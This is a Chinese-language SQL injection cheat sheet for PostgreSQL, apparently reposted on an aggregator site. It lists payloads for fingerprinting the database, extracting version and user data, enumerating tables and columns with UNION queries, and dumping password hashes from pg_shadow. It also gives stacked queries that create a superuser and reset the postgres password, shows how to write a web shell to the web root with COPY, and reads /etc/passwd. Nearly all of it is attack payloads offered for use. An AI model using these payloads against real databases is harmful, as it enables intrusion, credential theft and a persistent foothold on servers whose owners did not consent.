Sql注入之postgresql
Posted she11s
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Sql注入之postgresql相关的知识,希望对你有一定的参考价值。
Sql注入之Postgresql
介绍
Postgresql是一款中小型数据库,经常与php一起使用。
数据库判断
+and+1::int=1-
返回正常即为Postgresql数据库
常用注入语句
- 数据库版本
+and+1=cast(version() as int)-
- 判断当前用户
and 1=cast(user||123 as int)
- 判断字段数
order by
联合注入
用法和oracle相似
- 数据库版本信息
union select null,version(),null
- 用户权限
union select null,current_schema(),null
- 数据库名称
union select null,current_database(),null
- 表名
union select null,relname,null from pg_stat_user_tables
- 列名
union select null,column_name,null from information_schema.columns where table_name='表名'
- 查看数据库账号密码
union select null,usename|char(124)|passwd,null from pg_shadow
||连接字符串
char(124)为|
获得结果例子:admin|password
- 创建用户
;create user test with superuser password 'test'--
- 修改postgres的用户密码为pass
;alter user postgres with password 'pass'
写shell
- 方法一
依次执行如下三个命令
;create table shell(shell text not null);
;insert into shell values(一句话木马);
;copy shell(shell) to '/www/shell.php';
这样就会将一句话木马写到,www目录下的shell.php文件中
- 方法二
;copy (select '一句话木马') to '/www/shell/php';
读文件
pg_read_file('/etc/passwd',1,20) #读文件前20行
以上是关于Sql注入之postgresql的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段
在 python 中,如何执行缓解 SQL 注入的 postgresql 'LIKE %name%' 查询?